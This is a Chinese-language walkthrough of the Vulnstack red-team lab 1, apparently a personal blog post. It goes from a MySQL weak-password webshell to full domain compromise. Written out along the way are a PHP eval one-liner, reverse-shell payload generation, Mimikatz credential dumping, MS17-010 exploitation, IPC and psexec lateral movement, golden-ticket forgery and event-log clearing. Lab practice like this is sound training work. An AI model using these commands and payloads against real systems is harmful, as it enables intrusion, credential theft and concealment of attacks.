ATT&CK红队评估(红日靶场1)

前言

  博主小白一个,各位大佬勿喷,前前后后,学了挺久的,学了之后又忘了,因此来打红日靶场1巩固知识。文章写的不是很好,缺少很多细节,博主也是内网小白,很多都不懂,互相学习

靶机介绍

  ​本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:

  http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

  ‍

  虚拟机默认密码:hongrisec@2019(有的会提示密码已过期,随便更改)

  网络拓扑图如下:image

环境搭建

环境配置

  下载后为三台虚拟机,解压后VMware打开

image

  左上角“编辑—>虚拟网络编辑器”添加一段虚拟网络,设置为仅主机:

image

  给win7外网服务器添加一张网卡,一张网卡为NAT,另一张是我们刚刚添加的VMnet2:

image

   内网域控还有域成员网卡都设置为VMnat2

   win2008(域控):

image

  win2003(域成员):

image

ip配置如下

kali (攻击机):192.168.98.136(VMnet8 网卡分配的IP)

Windows 7 (web服务器):192.168.98.147(外网和kali连通)、192.168.52.143(内网ip)

Windows 2008 (域控):192.168.52.138

Win2k3 (域管):192.168.52.141

启动环境

   登录密码:hongrisec@2019(登录时 提示密码过期需更改密码),三台机均为一样的密码。

配置win7(外网服务器)

   登录win7(外网服务器)打开phpStudy服务,这样环境就配置好了

   位置:C:\phpStudy\phpStudy.exe

image

  首次登录后,需要再重启电脑,不然phpstudy可能无法启动。

  可以成功访问网站:

image

  能ping 通kali机,说明和外网已经连通了,这里还有一点就是记得把WIndows 7这个web服务器防火墙的关闭,否则kali会ping 不通

image

  ping DC域控:

image

  ‍

配置Winserver 2008网络(DC域控)

  登录时提示密码过期,需要更改密码:

image

  需要更改密码,我将密码修改为 :hongrisec@2024

image

配置Win2003/win2k3网络(域成员)

  提示需要修改密码,密码改为:hongrisec@2002

image

  ‍

  ‍

web打点

信息收集

扫描端口

  nmap扫描:

nmap -sS -sV -Pn 192.168.98.147

image

  开放了80、135、3306端口

目录扫描

dirsearch -u http://192.168.98.147 -i 200,300-399,403

image

  存在phpmyadmin,和phpinfo.php

漏洞挖掘

mysql弱口令

  访问80端口网站时,下面有个连接数据库操作,输入账号密码为root时,直接连接成功:

image

image

  之前目录扫描出phpmyadmin,那就直接登录试试:

image

  在里面看见了mysql数据库和一个 yxcms的数据库,应该也存在一个yxcms服务

phpmyadmin后台getshell

  查看一下phpmyadmin的版本:

image

  通过80端口的页面信息得知,网站的绝对路径为:C:/phpStudy/WWW

  ​image查询一下secure_file_priv=​的设置为多少,如果为NULL的话,就不能通过上传文件getshell:

show global variables like '%secure_file_priv%'

image

  通过查询可知,secure_file_priv=NULL​,因此不能使用上传文件getshell了,所以尝试写入日志来getshell

  查看当前日志文件:

SHOW VARIABLES LIKE 'general%';

image

  开启日志记录

set global general_log = "ON";

  ​​更改日志文件路径

set global general_log_file='C:\\phpStudy\\WWW\\shell.php'

image

  日志文件里写入一句话木马

select '<?php @eval($_POST[cmd]);?>';

image

  蚁剑成功连接:

image

yxcms后台上传getshell

  之前在phpadmin上看见了一个yxcms的数据库,说明可能存在yxcms,访问:http://192.168.98.147/yxcms/

image

  在首页公告里指明了后台登录界面和账号密码:

image

  访问登录即可:

image

  在前台模块中新增一个test.php​,写入一句话后门:

image

  新增之后,这个后门文件在哪呢?这时候需要 看beifen.rar 备份文件了(这个备份文件是通过目录扫描出来的,字典不够强大就扫描不出来!)

  根据源码可知文件位置:/yxcms/protected/apps/default/view/default/

  蚁剑连接 拿到shell:

http://192.168.98.147/yxcms/protected/apps/default/view/default/test.php

image

内网渗透

  可以选择msf生成木马来进行内网渗透也可以使用cs来进行,都可以使用。

msf上线

  msf生成木马,这里就不做免杀了:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.98.136 LPORT=3443 -f exe -o /root/msf3443.exe

  通过蚁剑上传到对方主机上,msf这边开始监听:

use explpit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.98.136
set lport 3443
exploit

  在蚁剑命令行中运行shell . exe,msf成功监听到会话。

  图略。

  ‍

  拿到shell之后,第一件事就是提权

# 查看当前权限:
getuid
# 提权到system(msf自带的提权方式):
getsystem

  ‍

  ‍

CS上线

  接下来主要使用CS来进行内网渗透

  创建监听器

image

  生成木马,上传cs木马(免杀就不做了):

image

  执行木马上线CS:

image

提权

  shell systeminfo 查看主机名,系统名称,系统版本:

image

  同时也可以得到主机域信息和安装的补丁

image

  同时使用shell tasklist /svc 可以查看运行的进程,同时根据进程判断主机是否存在杀毒软件:

image

  根据查询,并未杀毒软件。

  补充-这里列举一些常见的杀毒软件名:

image

  ‍

  拿下机子的第一件事情就是提权,使用elevatekit插件来提权,先下载导入这个插件,然后右键点击到权限提升,选择ms15-051可以成功提权:

image

  提权成功,拿到system权限:

image

信息收集

  ‍

判断是否存在域:

  ​net config Workstation

image

  根据回显,确定存在域环境

查看有几个域环境:
shell net view /domain

image

  只有一个GOD域

  ‍

查看域内主机:

  cs中选择主机,然后net view 之后会在target 中显示结果,这点比msf看起来方便:

image

  发现这3台主机

image

  ‍

查看域控:
net group "domain controllers" /domain

image

  域控是:OWA

端口扫描:

image

  cs的端口扫描,用的不太习惯,端口可能扫描不全

138主机:139,445,88,80,53,135
141主机:139,135,21,445
查看域内所有用户:
net user /domain

image

  查看域管理员列表:

  ​net group "domain admins" /domain

image

  ‍

抓取明文密码:

  可使用 Mimikatz 直接抓取本机用户密码:hongrisec@2002

  选中会话,右键-提权-抓取明文密码:

image

image

  ‍

派生MSF

  这里试了试CS 的 portscan ,发现效果并不是很好,很多端口没扫描出来

  首先msf 中执行:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样)
set lhost 0.0.0.0   //本地ip
set lport 8888 
exploit 

  然后cs 上先创建一个foreign listener ,host 选择 msf 的ip ,post 选择msf 监听的port 。

image

  然后在会话中,输入:spawn MSF

image

  msf成功接收到:

image

远程登录

  注意:需要system权限

# 查看端口3389是否开启
netstat -ano | findstr "3389"	
	
# 查看远程端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
											
# 开启3389端口										
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
									
# 方法一:允许 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

# 方法二:直接关闭防火墙
# Windows Server 2003 系统及之前版本												
netsh firewall set opmode disable
# Windows Server 2003 之后系统版本				
netsh advfirewall set allprofiles state off	

  ‍

  3389端口未开放:

image

开启3389端口

  注册表开启3389端口,使用如下命令开启(适用于 win7,xp,2008 , 关闭则把0换成1):

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

  成功开启3388端口

image

  ‍

允许3389连接

  ‍

  方法一:命令行直接关闭防火墙

  因为这个时候防火墙是开启的,必须关闭防火墙才能进行3389远程登录连接:

#winsows server 2003 之前
netsh firewall set opmode disable  
#winsows server 2003 之后
netsh advfirewall set allprofiles state off 

image

  ‍

  ‍

  方法二:允许防火墙 3389 端口放行

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

  ‍

  ‍

  方法三:MSF允许rdp连接:

run post/windows/manage/enable_rdp
run multi_console_command -r <FileLocation>				(文件为启用模块后的给的路径,都在/root/.msf4/loot/目录下)

image

  ‍

  ‍

VMIC

推荐此种方法,由于此方法会自动开启系统远程桌面中的允许远程连接到此计算机并启动默认的3389端口

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

  博主没测试,后面如果测试话,再把图补上。

  ‍

远程桌面成功:

  可以使用之前抓取到的密码登录,也可以创建一个用户登录,毕竟你都拿到system权限了。

  注意这里用户名填写:God\Administrator

image

image

  当然对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。

rdpwarp

  https://blog.csdn.net/qq_41891666/article/details/107598979?spm=1001.2014.3001.5502

  对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。这个时候不慌,使用 rdpwrap

  rdpwrap 是一款可以允许非服务器版本进行多个用户登录的patcher,github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:

RDPWInst.exe -i -s

  这样就可以不惊动已在线的管理员实现远程登录。

  最后在渗透结束后,可以使用:

RDPWInst.exe -u -k 

  来删除patch,注意需要添加-k 参数,意思是还原使用之前的设置

  ‍

  ‍

rdesktop 远程登录
# kali 安装远程桌面连接工具:
apt-get install rdesktop
# 连接远程桌面,用之前抓取的账户登录
rdesktop 192.168.98.147:3389

image

  注意:不要使用ssh工具来打开rdesktop,会失败。

  ‍

横向移动

隧道搭建

MSF + proxychains

# 添加路由,使msf可以访问内网,如果不添加,只能是meterpreter才能访问
run post/multi/manage/autoroute							
# 查看路由
run autoroute -p
# 将当前会话放到后台											
bg		
# 使用socks4a进行代理,socks5出bug是用不了,有些人的msf代理模块跟我不太一样,但不影响,功能一样 															
use auxiliary/server/socks_proxy

show options
set version 4a
							
exploit			

image

  根据options,自己设置好必要的参数,启动即可

  ‍

  编辑proxychains4.conf文件,如果你没有装的话,那就去下载:

# 查看运行情况
jobs		
		
# 配置proxychains									
vi /etc/proxychains4.conf									

# 这里的ip需要跟上面的socks4a模块一致 						
socks4 127.0.0.1 1080										
									

image

  使用proxychains代理访问被控主机,查看是否能使用

proxychains4 curl http://192.168.52.143/phpmyadmin					

  成功:

image

  建立隧道主要用来msf进行渗透,来扫描端口,后面主要利用cs来进行横向,但是要学会隧道搭建,知识点是必备的。

永恒之蓝利用

  扫描141​的时候发现开了445端口,尝试使用MS17_010

image

  扫描192.168.52.141端口:

proxychains4 nmap -p 1-1000 -Pn -sT 192.168.52.141

  ​使用模块判断版本:

use auxiliary/scanner/smb/smb_version
set rhost 192.168.52.141
run

image

  探测到版本为:windows 2003

  探测一下是否存在永恒之蓝漏洞:

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run

  结果显示:该主机确实存在永恒之蓝漏洞

image

  尝试使用ms17_010​执行ipconfig命令:

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command ipconfig
exploit

  执行命令成功:

image

  已经可以命令执行了,可以把木马挂到web服务器,让目标主机去下载执行,域控同样存在这个漏洞,所以可以使用一样的手法拿下域控

IPC横向

138主机:139,445,88,80,53,135
141主机:139,135,21,445

  利用IPC需要对方机器开启:139和445端口,域控和域成员主机都开启了

1、建立连接

net use \192.168.52.138\ipc$ "hongrisec@2002" /user:god\administrator

2、复制木马到目标主机上

  做一个反向连接木马,因为域控上有防火墙,正向连接被拦截了,所以只能使用反向连接,创建木马过程省略

copy dc.exe \192.168.52.138\c$

3、创建计划任务test

  通过创建计划任务来执行木马

schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\dc.exe /ru system /f

4、运行计划任务test

schtasks /run /s 192.168.52.138 /i /tn "test"

5、cs会话中执行上线命令

connect 192.168.52.138

  连接成功:

image

  全部拿下:

image

psexec横向

  使用CS的psexec来完成下面操作

  先新建SMB监听器:

image

  ‍

  对着目标右键横向-psexec

image

  选择之前抓取的密码和创建的smb监听器:

image

  执行成功上线,域控机也是同样操作:

image

  3台机器都拿下:

image

权限维持

  凭证提权—>黄金票据

  右键抓取Hash和明文密码:

image

# 抓取到hash:
58e91a5ac358d86513ab224312314061:::
# SID:
S-1-5-20

image

  把刚刚复制的域名,SID粘贴上去,hash已经帮你自动抓取了,用户名随便填写:

image

  成功:

image

  ‍

清理痕迹

# meterperter自带清除日志功能(清除windows中的应用程序日志、系统日志、安全日志)
clearev     	

# 清除recent:
	在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
	或直接打开C:\Users\Administrator\Recent并删除所有内容
	或在命令行中输入del /f /s /q “%userprofile%\Recent*.*


# 在cs会话中执行下面命令
shell wevtutil cl security    				//清理安全日志
shell wevtutil cl system        			//清理系统日志
shell wevtutil cl application        		//清理应用程序日志
shell wevtutil cl "windows powershell"    	//清除power shell日志
shell wevtutil cl Setup     				//清除(cl)事件日志中的 "Setup" 事件。

  ‍

总结

  • 学习了提权,永恒之蓝漏洞利用
  • 搭建隧道
  • 学习远程登录知识点
  • IPC横向移动
  • psexec横向移动
  • 黄金票据
  • 痕迹清理
  • 加深了对CS工具的内网渗透方面使用

  ‍

posted @ 2024-09-05 23:27  itchen-2002  阅读(36)  评论(0编辑  收藏  举报